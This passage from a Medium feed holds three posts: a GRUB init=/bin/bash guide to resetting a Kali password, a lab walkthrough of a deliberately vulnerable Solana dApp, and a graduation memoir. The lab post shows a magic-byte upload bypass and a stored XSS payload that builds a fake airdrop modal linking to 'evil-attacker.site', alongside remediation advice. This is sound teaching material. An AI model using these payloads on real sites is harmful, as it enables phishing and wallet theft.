Linux machine, or a virtual box running Kali Linux, the first step is to access the boot options. This involves restarting or turning on your device and waiting for the boot screen to appear. During the boot process, you need to interrupt it to access the GRUB (Grand Unified Bootloader) menu, which is responsible for managing the boot options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NIaRqBx2FTbeNcNZGKDIkQ.png" /><figcaption>GRUB mode.</figcaption></figure><h3>Step 2: Edit the Boot Parameters</h3><p>Once you’re in the GRUB menu, the next step is to highlight the default Kali Linux boot option, usually the first one on the list. Don’t press Enter yet!</p><p>Instead, hit the e Key on your keyboard. This allows you to edit the boot commands before the system starts. It might look technical, but don’t panic. You’re just making a small change that makes a big difference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcameErjpcpuUkb8O0J6vg.png" /><figcaption>GRUB Edit Mode.</figcaption></figure><h3>Step 3: Modify the Boot Line</h3><p>Now, scroll down until you find a line that begins with the word linux. This line controls how Kali Linux boots up.</p><p>Here’s what to do:</p><ul><li>Look for the part that says ro (which stands for read-only).</li><li>Change ro to rw (which makes it read-write).</li><li>At the very end of the line, add this text: init=/bin/bash</li></ul><p>After editing, the line should look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZBbG_e9EH8LbPnIsU7TTw.png" /><figcaption>Modify ro.</figcaption></figure><p>What you’ve just done is tell Kali to boot straight into a bash shell with write access without loading the full desktop.</p><h3>Step 4: Boot Into Bash Shell</h3><p>Now that you’ve made the changes, it’s time to boot into this special mode. To do that, press Ctrl + X or F10. Your system will now skip the normal login process and drop you directly into a terminal shell as the root user. It might look like a black screen with a blinking cursor. That’s totally normal it means you’re in!</p><h3>Step 5: Reset the Root Password</h3><p>Now comes the magic moment. After you exit the GRUB editor by pressing Ctrl + X or F10Your machine will boot straight into a root shell. This is just a simple terminal screen, but you’re now logged in as root, the superuser, which means you have full control.</p><p>Now, if you remember your username, you’re good to go. But what if you’ve forgotten it? No worries. Just type: ls /home</p><p>This command will list all user directories, and you’ll easily spot your username among them. Each folder name under /home usually corresponds to a user account on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*AAQnYNE-3uR_q682h4zVHg.png" /><figcaption>Checking for available users.</figcaption></figure><p>As you can see, I have three users on my machine. Now, it’s time to set a new password. In this case, I will change the kali user password. Initially, it was a default password, which was kali; now I will change it to something else. You’ll be prompted to enter a new password. Type it carefully, nothing will appear on the screen (a standard Linux behaviour), but it’s working. Then, retype the password when prompted to confirm it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*F0pQ4AdndxoINZ2zkPm7lQ.png" /><figcaption>Password updated successfully.</figcaption></figure><p>If both entries match, you’ll see: password updated successfully.</p><h3>Step 6: Reboot the System</h3><p>To return everything to normal, type: reboot -f</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*R0p5YEJT3hb7d5n30mOEpA.png" /><figcaption>rebot</figcaption></figure><p>The system will restart, and this time, you can log in using your brand-new user password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZbPrPhcNAAolFPsfFtmOQw.png" /><figcaption>Login Successfully with the new password</figcaption></figure><p>Not long ago, forgetting a Kali Linux password meant only one thing to me: a complete reinstall. Hours of reconfiguration. Lost custom setups. Pure frustration. But now? I smile when I remember that version of myself. Learning how to reset a forgotten Kali Linux password using the GRUB menu felt like unlocking a superpower. So, next time your Kali Linux locks you out, take a deep breath and remember: you’ve got this. And now, you’ve got this blog to walk you through it.</p><p>On to the next layer of the matrix… see you in the next exploit.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b0cdf123969" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Web2 in a Web3 World: A Vulnerable Solana dApp Lab Walkthrough]]></title>
            <link>https://medium.com/@pwnstar/exploiting-web2-in-a-web3-world-a-vulnerable-solana-dapp-lab-walkthrough-9bfa7061b651?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bfa7061b651</guid>
            <category><![CDATA[super-team]]></category>
            <category><![CDATA[web2]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[solanas]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 21:47:01 GMT</pubDate>
            <atom:updated>2025-05-01T06:55:07.287Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><blockquote>“In an industry obsessed with decentralization and cryptographic security, many Web3 projects forget that their Achilles heel may lie in the centralized Web2 components they still rely on.”</blockquote><p>The promise of Web3 is a trustless, decentralised future — one where smart contracts, blockchain consensus, and cryptographic signatures replace middlemen. Yet, despite the futuristic architecture, many dApps and Web3 platforms still lean heavily on traditional Web2 infrastructure: APIs, backend servers, admin dashboards, cloud storage, and more.</p><p>These off-chain components often control critical logic, like user authentication, token distribution, and transaction signing, making them prime targets for attackers. A single oversight, such as a misconfigured backend or a weakly protected admin route, could have catastrophic consequences, even if the smart contract code is secure and audited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q0IG9XGVs8qezvaPXjhCqA.png" /></figure><p>In 2024 alone, the Web3 ecosystem experienced over <strong>$1.42 billion in losses</strong> across 149 documented incidents, as reported by <a href="https://solidityscan.com/web3hackhub?year=2024">SolidityScan’s Web3HackHub.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*po5MkwOJyp3mGmWWhJUTXw.png" /><figcaption>Source: solidity’s scan</figcaption></figure><p>The <strong>OWASP Smart Contract Top 10 (2025)</strong>, developed through analysis of real-world incidents, highlights the most pressing vulnerabilities in decentralised applications. Access control issues alone accounted for <strong>$953.2 million</strong> in losses, emphasising the need for comprehensive security practices encompassing both on-chain and off-chain components. These insights align with the findings from SolidityScan’s Web3HackHub and <a href="https://x.com/_iphelix/status/1855855006219690233">Peter Kacherginsky’s “Top 10 DeFi Attack Vectors — 2024,</a>” both of which contribute to the formulation of the <a href="https://owasp.org/www-project-smart-contract-top-10/"><strong>OWASP Smart Contract Top 10 for 2025</strong>.</a></p><p>This has been proven repeatedly in recent incidents:</p><ul><li>In <strong>September 2023</strong>, the <a href="https://dn.institute/research/cyberattacks/incidents/2023-09-23-mixin-network/"><strong>Mixin Network</strong></a> suffered a massive <strong>$200M loss</strong> after attackers compromised a <strong>cloud database</strong> to steal private keys, bypassing blockchain security entirely.</li><li>In <strong>early 2024</strong>, ethical hackers exploited <strong>time.fun</strong> through an <strong>unsecured API endpoint</strong>, accessing wallet-linked user data despite no flaws in the smart contract layer.</li><li>The <a href="https://www.quillaudits.com/blog/hack-analysis/poly-network-hack"><strong>Poly Network relayer attack</strong></a> (2023) saw <strong>$10M stolen</strong> after attackers manipulated a <strong>SQL database</strong>, censoring transactions by tampering with the off-chain relayer logic</li><li>The <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/popular-nft-platform-premint-hacked-for-314-nfts"><strong>Premint NFT Hack</strong></a> July 2022 In July 2022, the Premint NFT platform was compromised through a classic Cross-Site Scripting (XSS) attack.</li></ul><p>These cases highlight a simple truth: even the most decentralised protocols can be undone by centralised mistakes.</p><p>There’s a popular saying, <strong><em>“It takes years to build reputation while just few seconds for a computer incident to ruin it”</em></strong></p><h3>Lab Overview</h3><p>This lab simulates a <strong>vulnerable Web2 backend supporting a Solana-based dApp</strong>, designed to expose how traditional web vulnerabilities can directly compromise decentralised assets and identities.</p><p>It mimics common off-chain components in modern Web3 ecosystems, like wallet management systems, token transfer APIs, admin dashboards, and community chat interfaces.</p><blockquote><em>🔗 </em><strong><em>GitHub Repository:</em></strong><em> </em><a href="https://github.com/5wnstar/solana_web2_vuln">https://github.com/5wnstar/solana_web2_vuln</a><em><br> All source code, and setup instructions are available in the repo. Be sure to run this only in a safe, local environment.</em></blockquote><h3>What the Lab Includes</h3><p>Once launched, the lab offers the following features for users:</p><p><strong>Login &amp; Registration System: </strong>Users can register and log in using a basic username-password flow. Upon registration, a <strong>Solana wallet</strong> and a mnemonic seed phrase are automatically generated for the user.</p><p><strong>Token Transfers: </strong>Users can transfer tokens from their wallet to others using a vulnerable backend that exposes transaction signing to multiple risks.</p><p><strong>Community Chat: </strong>A public chatroom where users can post comments — includes a stored XSS vulnerability.</p><p><strong>Admin Panel (</strong><strong>superteam): </strong>An admin user with elevated privileges exists in the system. Improper access control mechanisms leave this account exposed to privilege escalation and session hijacking.</p><h3>Vulnerabilities in Focus</h3><p>The lab intentionally contains <strong>multiple OWASP Top 10 vulnerabilities</strong>, each relevant to real-world blockchain applications:</p><h4>Web2-Style Vulnerabilities in a Web3 Context:</h4><ol><li><strong>Cross-Site Scripting (XSS)</strong></li><li><strong>Broken Authentication</strong></li><li><strong>Broken Access Control</strong></li><li><strong>Server-Side Request Forgery (SSRF)</strong></li><li><strong>Unvalidated File Upload</strong></li><li><strong>Race conditions in transfers and balance updates</strong></li></ol><h3>Step-by-Step Exploitation Walkthrough</h3><h4>Account Creation &amp; Wallet Generation</h4><p>After launching the lab at http://127.0.0.1:5000You’ll be greeted with a simple landing page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43VG-nwHP-Ttjrw_d_-Uzw.png" /><figcaption>Landing Page</figcaption></figure><p>Click <strong>Register</strong> to create a new account. For this walkthrough, we’ll register as pwnstar. Once logged in, you’ll land on your dashboard. Upon successful registration, a Solana wallet is automatically generated for the new user, funded with a 100 SOL airdrop as a first-time reward, with both the wallet’s public address and mnemonic seed phrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oy7P73g3soyfeAmWJyRUA.png" /><figcaption>Dashboard</figcaption></figure><p>Now Let’s Begin with the First Vulnerability, which is Unvalidated File Upload</p><h3>Vulnerability 1: Unvalidated File Upload</h3><p>The first vulnerability we will explore in this lab is <strong>File Upload</strong>, which occurs when a web application fails to properly validate the contents of uploaded files. This flaw allows an attacker to upload malicious files disguised as legitimate ones, potentially leading to severe consequences such as Remote Code Execution (RCE). According to <a href="https://www.spiceworks.com/it-security/network-security/news/92-of-organizations-are-threatened-due-to-inadequate-file-security-best-practices-report/"><strong>OPSWAT’s Web Application Security Report 2022</strong></a>, 92% of organisations were threatened due to inadequate file security best practices, based on the report.</p><p>While this is a well-known Web2 vulnerability, it’s especially dangerous in Web3 applications that rely on traditional backend infrastructure such as APIs, centralised storage, or cloud-based services to support decentralised features.</p><p>In the world of NFTs, this issue becomes even more critical. NFTs often reference or point to external media such as images, videos, or 3D files stored off-chain, either on IPFS or centralised servers. If file uploads for NFT metadata or content (like profile avatars, NFT art, or user-generated assets) are not properly validated, attackers can exploit this to inject malicious files. For example, an attacker could upload a fake image that appears as a legitimate NFT but contains embedded scripts or malware. This can affect not only the hosting platform but also users interacting with these assets via wallets or marketplaces. Some past exploits have used malicious SVGS or tampered image headers to trigger client-side vulnerabilities.</p><p>For this lab, we focus on the profile picture upload feature of our <strong>vulnerable Solana-based dApp</strong>, which mimics the same kind of file handling logic many Web3 platforms use when letting users upload NFT media or customise profiles.</p><p>To demonstrate the vulnerability, we begin by uploading a valid image file, which the application accepts as expected. The screenshot below displays the output from the application after I uploaded a legitimate image file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eBxgLT_f9KYwe-3u3Nu8oA.png" /><figcaption>payload free file uploaded</figcaption></figure><p>Next, I attempted to upload a file that wasn’t image-related — something outside of the accepted formats like PNG or JPEG and the server promptly responded with a restriction message indicating that only PNG or JPEG files are allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPNUisfAWVHNHVFGQo8ycQ.png" /><figcaption>Restricted File Upload</figcaption></figure><p>Next, I attempted several common file upload bypass techniques, such as using double extensions (e.g., .php.png), but the server correctly rejected these attempts. However, things got interesting when I modified the <strong>magic number, </strong>also known as the file signature of a malicious file. Magic numbers are unique sequences of bytes at the beginning of a file that indicate its format. For example, a JPEG image typically starts withFFD8FF, while a PNG file starts with 89504E47. By using a hex editor, I changed the file’s header to mimic the signature of a legitimate image format, like JPEG. This allowed me to trick the server into accepting the file upload, even though it wasn’t a genuine image. You can find a comprehensive list of file signatures and magic numbers <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">here</a>.<br>Before I edit with HexEditor, I quickly check the file type, and you can see below that it’s a PHP file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cc-keFGhqgwon3pnh0cHzg.png" /><figcaption>php file</figcaption></figure><p>I used a hex editor to modify the file’s header, making it appear as though it had a legitimate image file signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YVlrGbTHjJ9MtYB0MBshuw.png" /><figcaption>PHP file to image</figcaption></figure><p>After modifying the file header, the screenshot below reveals that the PHP file now closely resembles a legitimate image file, effectively disguising its true nature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LAnwFJ8LLhazXZt0-vr0kg.png" /><figcaption>Header signature successfully changed</figcaption></figure><p>Next, I uploaded the disguised PHP file to the server, changing its extension to .jpg bypass the file type filter. Upon navigating to my dashboard, I confirmed that the file was successfully uploaded and stored on the server. I tried to access the file path, but it displayed an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3o0Ks1tNo3bQPFcaHkdeUw.png" /><figcaption>uploaded file path</figcaption></figure><p>When I attempted to access the uploaded file directly via its path, the server responded with an error. However, in a real-world scenario, an attacker could exploit this kind of vulnerability by uploading a file embedded with malicious code such as a web shell or a reverse shell script. If executed, this could grant the attacker remote access to the server.</p><p>In the context of a web3 or NFT-based platform, where users often upload files (e.g., for profile pictures or minting NFT metadata like images, videos, or audio), such vulnerabilities become even more critical. A poorly implemented upload feature could allow an attacker to upload a seemingly innocent NFT media file that contains executable code. If this file is later processed or rendered by the server without proper validation, it could compromise the entire backend infrastructure even if the blockchain components themselves are secure.</p><h3>Remediation Strategies</h3><p>To protect against file uploads Vulnerability, implement the following security best practices:</p><ol><li><strong>Strict File Type Validation: </strong>Check both file extensions <strong>and</strong> MIME types. Verify file signatures (magic numbers) to ensure consistency with claimed formats.</li><li><strong>Use a Secure Upload Directory: </strong>Store uploaded files in non-executable directories outside of the application root. Prevent direct access to uploads unless explicitly needed.</li><li><strong>Rename Uploaded Files: </strong>Avoid using user-provided filenames. Generate random names and sanitise paths to prevent traversal.</li><li><strong>Limit File Sizes: </strong>Set maximum file size limits to prevent DOS attacks.</li><li><strong>Use a Content Delivery Network (CDN): </strong>Serve media content through a CDN or third-party storage like AWS S3 buckets with strict access control.</li><li><strong>Implement User Role Checks: </strong>Only allow authenticated and authorised users to upload files where applicable.</li><li><strong>Sanitise Metadata: </strong>Remove or sanitise file metadata to prevent embedded scripts or payloads.</li><li><strong>Regularly Audit File Upload Features: </strong>Perform penetration testing and automated scanning to detect bypasses or improper validations.</li></ol><h3>Vulnerability 2: Cross-Site Scripting (XSS)</h3><p>Cross-Site Scripting (XSS) occurs when a web application allows users to inject malicious scripts into web pages viewed by others. These scripts execute in the victim’s browser, often leading to session hijacking, credential theft, or defacement of the site.</p><p>In <strong>Stored XSS</strong>, the malicious script is saved (e.g., in a database or file) and served to other users, making it particularly dangerous.</p><p>In the context of <strong>Web3</strong>, such an attack can be catastrophic. For instance:</p><ul><li>An attacker could steal a wallet’s <strong>seed phrase</strong> or <strong>private key</strong> displayed on the frontend.</li><li>Injected scripts can manipulate token transfer interfaces.</li><li>They may hijack admin sessions or redirect users to malicious dApps.</li></ul><p>In this lab, the <strong>comment section</strong> accepts and stores user input. This input is then rendered on the frontend without proper sanitisation, making it a prime target for XSS.</p><p>To confirm that the comment system works, I started by posting a regular message like: “<em>Hello, I’m happy to be here”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gatX-h4wz75vzbh24Sh4FA.png" /><figcaption>Comment section</figcaption></figure><p>The message was successfully displayed on the page, confirming that inputs are stored, with users, timestamp and retrieved dynamically.</p><p>Next, I attempted a simple XSS payload:</p><pre>&lt;script&gt;alert(&#39;XSS by pwnstar&#39;)&lt;/script&gt;</pre><p>I submitted it as a comment and refreshed the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98SD4rqtKJkWCGP8OtTlhA.png" /><figcaption>simple xss payload</figcaption></figure><p>As expected, the payload executed immediately when the page reloaded, showing an alert pop-up in the browser. This confirms that the input was stored in the backend (likely in a database) and rendered without escaping HTML tags.</p><p>A real attacker would likely aim to phish wallet credentials, hijack sessions, or trick users into taking harmful actions. In this demonstration, we simulate a phishing attempt using a fake airdrop popup to redirect users to an attacker-controlled site.</p><p>For example:</p><pre>&lt;script&gt;<br>document.addEventListener(&#39;DOMContentLoaded&#39;, function() {<br>  let modal = document.createElement(&#39;div&#39;);<br>  modal.innerHTML = `<br>  &lt;div style=&quot;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:9999;display:flex;align-items:center;justify-content:center;&quot;&gt;<br>    &lt;div style=&quot;background:white;padding:20px;border-radius:10px;text-align:center;font-family:sans-serif;max-width:300px;&quot;&gt;<br>      &lt;h3&gt;🎉 Claim Your 50 $SOL Airdrop&lt;/h3&gt;<br>      &lt;p&gt;Click the button below to claim now.&lt;/p&gt;<br>      &lt;a href=&#39;http://evil-attacker.site/claim&#39; target=&#39;_blank&#39; style=&#39;padding:10px 20px;background:#4caf50;color:white;text-decoration:none;border-radius:5px;display:inline-block;margin-top:10px;&#39;&gt;Claim Now&lt;/a&gt;<br>    &lt;/div&gt;<br>  &lt;/div&gt;`;<br>  document.body.appendChild(modal);<br>});<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IOBTDel8OFXAtUdzP5DtKw.png" /><figcaption>airdrop popup</figcaption></figure><p>The screenshot above shows the malicious pop-up in action, which was crafted using a stored XSS payload. What makes this particularly dangerous is that the pop-up doesn’t just affect the attacker’s session — it affects every user who visits the infected section of the app. This is a <strong>stored XSS attack</strong>, meaning the payload is saved in the database and served to all users viewing the affected component, in this case, the comment section.</p><p>Because the popup appears as a native modal inside the decentralised app, users are likely to assume it’s part of the app’s intended functionality. It could, for instance, claim to offer a free token airdrop or ask users to connect their wallets. Since it looks authentic and originates from the dApp interface itself, users are far more likely to trust it and interact with it, unknowingly exposing themselves to further attacks.</p><p>This stored XSS doesn’t just affect one person; it becomes a systemic threat, impacting every user who interacts with the compromised area. An attacker could easily craft the modal to redirect users to a fake external link that imitates a wallet connection screen. From there, unsuspecting users might submit their seed phrases or approve malicious transactions, resulting in stolen tokens or NFTS.</p><p>Ultimately, stored XSS in Web3 applications weaponises the very trust that decentralised platforms rely on. It turns shared spaces like comment sections into attack surfaces, and every new visitor becomes a potential victim. Without proper input sanitisation and output encoding, even modern dApps can fall prey to these very traditional yet dangerous vulnerabilities.</p><h3>Remediation</h3><ul><li><strong>Sanitise all user inputs</strong> on the server side to remove or neutralise malicious code, such as &lt;script&gt; tags or embedded JavaScript.</li><li><strong>Encode user output</strong> before displaying it on the frontend, ensuring that special characters like &lt;, &gt;, &quot; and &#39; are rendered as text, not executable code.</li><li><strong>Use secure rendering methods</strong> like textContent instead of innerHTML When inserting user-generated content into the DOM.</li><li><strong>Implement a strong Content Security Policy (CSP)</strong> to restrict the sources from which scripts can be loaded and executed in the browser.</li><li><strong>Avoid storing raw HTML or JavaScript</strong> directly from user input in the database; apply proper sanitation before saving and rendering.</li><li><strong>Set HttpOnly and Secure flags on cookies</strong> to prevent them from being accessed via JavaScript in the event of a successful XSS attack.</li><li><strong>Perform regular security testing,</strong> including both automated vulnerability scans and manual code reviews to catch potential XSS issues.</li><li><strong>Educate developers</strong> on secure coding practices and common web vulnerabilities, especially when building dApps with user interaction.</li><li><strong>Monitor application logs and user behaviour</strong> for suspicious activity that could indicate a successful XSS payload execution.</li></ul><h3>Conclusion</h3><p>This lab was designed to shine a spotlight on the often-overlooked <strong>Web2 attack surfaces in Web3 applications</strong>. While the blockchain layer may offer cryptographic security and decentralisation, the reality is that many dApps still rely on traditional web infrastructures — APIs, file uploads, databases, and backend services — that remain vulnerable to well-known attacks.</p><p>Throughout this walkthrough, we explored critical vulnerabilities such as <strong>Unvalidated File Uploads</strong> and <strong>XSS</strong>, demonstrating how attackers could exploit them to compromise both user security and application integrity. From tricking users with malicious pop-ups to uploading files that legitimately look like a real image, these flaws reveal just how essential it is to secure the Web2 backbone behind any Web3 product.</p><p>Additional vulnerabilities like <strong>BOLA (Broken Object Level Authorisation)</strong>, <strong>insecure JWT handling</strong>, <strong>session mismanagement</strong>, and <strong>race conditions in token transfers</strong> have also been implemented in the lab and will be covered in upcoming blog posts.</p><p>This project reinforces one key truth: <strong>the strength of a decentralised system is only as strong as its weakest centralised component</strong>. Whether you’re building or auditing Web3 products, securing off-chain infrastructure must be treated with the same priority as smart contracts. If overlooked, even the most “trustless” applications can become trust-compromised.</p><h3>References &amp; Further Reading</h3><ol><li><strong>OWASP File Upload Cheat Sheet</strong><br> <a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html</a><br> <em>Covers secure file upload practices and common bypass techniques.</em></li><li><strong>OWASP API Security Top 10</strong><br> <a href="https://owasp.org/www-project-api-security/">https://owasp.org/www-project-api-security/</a><br> <em>Outlines the most critical security issues in APIs, useful for dApp developers integrating smart contract APIs.</em></li><li><strong>OWASP Web Security Testing Guide</strong><br> <a href="https://owasp.org/www-project-web-security-testing-guide/">https://owasp.org/www-project-web-security-testing-guide/</a><br> <em>A detailed guide for performing web security testing, including web2 components used in web3 apps.</em></li><li><strong>OWASP XSS Prevention Cheat Sheet</strong><br> <a href="https://owasp.org/www-community/xss-prevention">https://owasp.org/www-community/xss-prevention</a><br> <em>A comprehensive guide to preventing Cross-Site Scripting attacks.</em></li><li><strong>Magic Numbers in File Signatures</strong><br> <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a><br> <em>A list of common file headers used to identify file types.</em></li><li><strong>PortSwigger — Cross-site scripting (XSS)</strong><br> <a href="https://portswigger.net/web-security/cross-site-scripting">https://portswigger.net/web-security/cross-site-scripting</a><br> <em>Practical explanation and labs on XSS vulnerabilities.</em></li><li><strong>OWASP SSRF Prevention Cheat Sheet</strong><br> <a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html</a><br> <em>Understanding and mitigating SSRF vulnerabilities.</em></li><li><strong>Mixin Network Hack — $200M Theft (September 2023)</strong><br> <a href="https://dn.institute/research/cyberattacks/incidents/2023-09-23-mixin-network/">https://dn.institute/research/cyberattacks/incidents/2023-09-23-mixin-network/</a><br><em> Analysis of the attack that compromised Mixin’s centralized cloud database.</em></li><li><strong>Poly Network Relayer Logic Exploit</strong><br> <a href="https://www.quillaudits.com/blog/hack-analysis/poly-network-hack">https://www.quillaudits.com/blog/hack-analysis/poly-network-hack</a><br><em> Explores how attackers exploited off-chain relayer logic through centralised components.</em></li><li><strong>Premint NFT Platform XSS Hack (July 2022)</strong><br> <a href="https://www.bitdefender.com/en-us/blog/hotforsecurity/popular-nft-platform-premint-hacked-for-314-nfts">https://www.bitdefender.com/en-us/blog/hotforsecurity/popular-nft-platform-premint-hacked-for-314-nfts</a><br><em> Details of a front-end XSS vulnerability leading to theft of over 314 NFTs.</em></li><li><strong>OWASP Smart Contract Top 10</strong><br> <a href="https://owasp.org/www-project-smart-contract-top-10/">https://owasp.org/www-project-smart-contract-top-10/</a><br><em> Highlights common vulnerabilities and best practices for smart contract development.</em></li><li><strong>Spiceworks Report — File Security Risks</strong><br> <a href="https://www.spiceworks.com/it-security/network-security/news/92-of-organizations-are-threatened-due-to-inadequate-file-security-best-practices-report/">https://www.spiceworks.com/it-security/network-security/news/92-of-organizations-are-threatened-due-to-inadequate-file-security-best-practices-report/</a><br><em> Report revealing that 92% of organizations are vulnerable due to poor file security practices.</em></li><li><strong>SolidityScan Web3 Hack Hub (2024)</strong><br> <a href="https://solidityscan.com/web3hackhub?year=2024">https://solidityscan.com/web3hackhub?year=2024</a><br><em> A real-time dashboard of recent hacks and vulnerabilities across the Web3 space.</em></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bfa7061b651" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Against All Odds: My Journey to a B.Sc. in Cybersecurity]]></title>
            <link>https://medium.com/@pwnstar/against-all-odds-my-journey-to-a-b-sc-in-cybersecurity-084fee07593b?source=rss-6a85c0238544------2</link>
            <guid isPermaLink="false">https://medium.com/p/084fee07593b</guid>
            <category><![CDATA[convocation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Toheeb Kayode Adisa]]></dc:creator>
            <pubDate>Fri, 14 Feb 2025 09:31:40 GMT</pubDate>
            <atom:updated>2025-02-14T09:31:40.169Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, I stand as a proud graduate of Bayero University, Kano, a prestigious citadel of learning that shaped me in ways I never imagined. Looking back, my journey was far from smooth — it was filled with unexpected turns, painful losses, and life-changing encounters. But through it all, perseverance, faith, and an unrelenting hunger for growth kept me going.</p><p>At first, BUK was never part of my plan. My dream was Ahmadu Bello University (ABU), but fate had its own course. I had always been curious about the North, eager to experience the reality beyond the stereotypes I heard. Moving to Kano was a bold step, one that dispelled my doubts and showed me the beauty of a city filled with warmth and peace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Dr793hrLqULeM56fokOh-w.jpeg" /></figure><p>In 2018, I was admitted to study Cybersecurity, and by March 25, 2019, lectures commenced. Truth be told, I had no ambition of being among the best — I just wanted to learn. But life had other plans. My first CGPA was an astonishing 4.80/5.0 — a result that shocked me, as I hadn’t even prepared for such excellence. I owe this foundation to my Islamic school, Modrasat Sahadat Wanahadotil Islamiyahh, where I was groomed with discipline, focus, and faith.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-XZwOsdY7E9ALwM28Xwiw.jpeg" /></figure><p>My first year at BUK was a mix of excitement and uncertainty. I was eager to explore, to find my place in the world of cybersecurity, but I lacked direction. I attended Google Developer Student Club study jams, where I first heard of Git and GitHub. I met Timothy, a 400-level student, and I even saved his contact as “Git” (lol). But despite these exposures, I struggled to build a solid career path because I had no mentor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyrq3wKA9YT1EvlHxDh3cA.jpeg" /></figure><p>Then came 2020 — the year that changed everything. COVID-19 shut down the world, and amidst the lockdown, I experienced the most painful loss of my life.</p><p>I lost my father. 💔</p><p>Losing a parent is never easy, but being the first child meant the weight of responsibility fell heavily on my shoulders. I had siblings to care for, a grieving family to support, and a heart drowning in sorrow. It was a period of deep struggle — one where I questioned everything, including my own dreams. How could I continue? Was it even worth it?</p><p>But Allah never leaves His own.</p><p>During this dark period, I met a friend, a DE student named Gafia. He saw something in me and introduced me to platforms like TryHackMe and Hack The Box. He shared valuable resources, guiding me into the world of cybersecurity. Slowly, I began to find purpose again.</p><p>When school resumed in 2021, my focus shifted. My grief transformed into determination — I wanted more than just a degree. I wanted growth, experience, and impact.</p><p>I immersed myself in personal development, participating in countless programs and boot camps. One of them changed my life forever — the Tech Diversity Program by InstinctHub. Not only did I become the overall best, but this achievement also earned me a 6-month paid internship with Sterling Bank.</p><p>This was my first major win in tech, and it gave me a glimpse of what was possible.</p><p>Later that same year, I met Sheu Awwal, a top Security and DevOps Engineer, and founder of SHAWSEC and North Cyber Sec. He put my skills to the test by encoding a $20 prize in a security challenge. I decoded it within seconds. He was so impressed that he took me under his wing, mentoring me and eventually hiring me as a Junior Penetration Tester in his company. That experience shaped my skills with real-world projects, making me not just a student but a professional in cybersecurity.</p><p>By 2022, InstinctHub invited me back — not as a student, but as the Program Lead for Tech Diversity. Since then, I’ve coordinated and managed the program, training over 12,000 participants across Nigeria. It felt surreal, transitioning from a learner to a leader, but it also proved that growth comes when we step outside our comfort zone.</p><p>Despite all my engagements, I never let go of my academics. Yes, it was tough. There were moments of burnout, sleepless nights, and times I wanted to quit. I remember telling my colleagues after my SIWES internship that I wanted to drop out. But Alihamdulillah, I held on.</p><p>Throughout my journey, I had the honor of representing my school and competing in various Cybersecurity Hackathons and CTFs:</p><ul><li>Baze University CTF (2021) — Represented BUK</li><li>CYSEC CTF (2022) — Represented BUK</li><li>National PICO CTF</li><li>ABC CTF (Runner-up, 2022)</li><li>CYSED CTF (Winner, 2023)</li><li>CSEAN CTF (Runner-up, 2023)</li></ul><p>Beyond competitions, I also participated in bug bounty programs on HackerOne and Bugcrowd, contributing to real-world security solutions.</p><p>Beyond tech, I was also an activist and student leader. I served as:</p><p>✅ Chief Whip, PRO, and President of Lagos State Students (NULASS)</p><p>✅ SRA Member of Yoruba Student Union</p><p>✅ Baba Isale in the Student Union Government (SUG)</p><p>Balancing all these wasn’t easy, but I wouldn’t trade the experience for anything.</p><p>Today, after years of resilience, sacrifice, and relentless pursuit of excellence, I can proudly say:</p><p>🎓 I am now a certified <a href="http://b.sc/">B.Sc</a>. Cybersecurity graduate from Bayero University, Kano. 📜 CGPA: 4.39/5.0</p><p>🏆 Professional Certifications: eJPT, CAP, CompTIA Security+, 